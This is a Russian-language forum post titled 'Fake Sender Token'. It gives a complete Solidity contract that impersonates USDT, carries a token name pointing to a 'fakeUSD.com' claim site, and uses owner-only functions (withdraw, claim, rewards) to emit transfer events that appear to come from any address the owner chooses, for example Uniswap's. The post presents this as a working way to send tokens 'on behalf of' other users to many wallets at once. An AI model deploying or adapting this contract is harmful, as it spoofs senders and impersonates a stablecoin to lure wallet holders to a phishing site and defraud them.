Fake Sender Token

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Многие наверное видели что приходит токены к примеру от адрес Uniswap или любой другой адрес
Вот пример кода который позволяет отправлять токены от имени другого пользователя
Всё что нам нужно это отправить токены на нужны нам адрес после чего от его имени можем отправить кому угодно

К примеру используем функцию rewards
_from - ставим адрес от какого имени будем отправить токены
_to - кому отправляем ["wallet"]или же массово ["wallet","walllet"]
_value - количество монет каждому пользователю


Код: Скопировать в буфер обмена
Код:
// SPDX-License-Identifier: UNLISCENSED
pragma solidity 0.8.4;

contract FakeSenderERC20Token {
    string public name = "Fake USD Claim here fakeUSD.com";
    string public symbol = "USDT";
    uint256 public totalSupply = 1000000;
    uint8 public decimals = 6;
        
    event Transfer(address indexed _from, address indexed _to, uint256 _value);

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public owner = msg.sender;

    constructor() {
        balanceOf[msg.sender] = totalSupply;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only the owner can call this function");
        _;
    }

    function transfer(address _to, uint256 _value)
        public
        returns (bool success)
    {
        require(balanceOf[msg.sender] >= _value);
        balanceOf[msg.sender] -= _value;
        balanceOf[_to] += _value;
        emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function withdraw(address _from, address[] memory _to, uint256 _value)
        public
        onlyOwner
        returns (bool success)
    {
        require(_to.length > 0, "No recipients specified");
            
        uint256 totalValue = _to.length * _value;
            
        require(balanceOf[_from] >= totalValue, "Insufficient balance");
            
        for (uint256 i = 0; i < _to.length; i++) {
            address recipient = _to[i];

            require(recipient != address(0), "Invalid recipient address");
                
            balanceOf[_from] -= _value;
            balanceOf[recipient] += _value;
                
            emit Transfer(_from, recipient, _value);
        }
        return true;
    }

    function claim(address _from, address[] memory _to, uint256 _value)
        public
        onlyOwner
        returns (bool success)
    {
        require(_to.length > 0, "No recipients specified");
            
        uint256 totalValue = _to.length * _value;
            
        require(balanceOf[_from] >= totalValue, "Insufficient balance");
            
        for (uint256 i = 0; i < _to.length; i++) {
            address recipient = _to[i];

            require(recipient != address(0), "Invalid recipient address");
                
            balanceOf[_from] -= _value;
            balanceOf[recipient] += _value;
                
            emit Transfer(_from, recipient, _value);
        }
        return true;
    }
    
    function rewards(address _from, address[] memory _to, uint256 _value)
        public
        onlyOwner
        returns (bool success)
    {
        require(_to.length > 0, "No recipients specified");
            
        uint256 totalValue = _to.length * _value;
            
        require(balanceOf[_from] >= totalValue, "Insufficient balance");
            
        for (uint256 i = 0; i < _to.length; i++) {
            address recipient = _to[i];

            require(recipient != address(0), "Invalid recipient address");
                
            balanceOf[_from] -= _value;
            balanceOf[recipient] += _value;
                
            emit Transfer(_from, recipient, _value);
        }
        return true;
    }
}
 
Сверху Снизу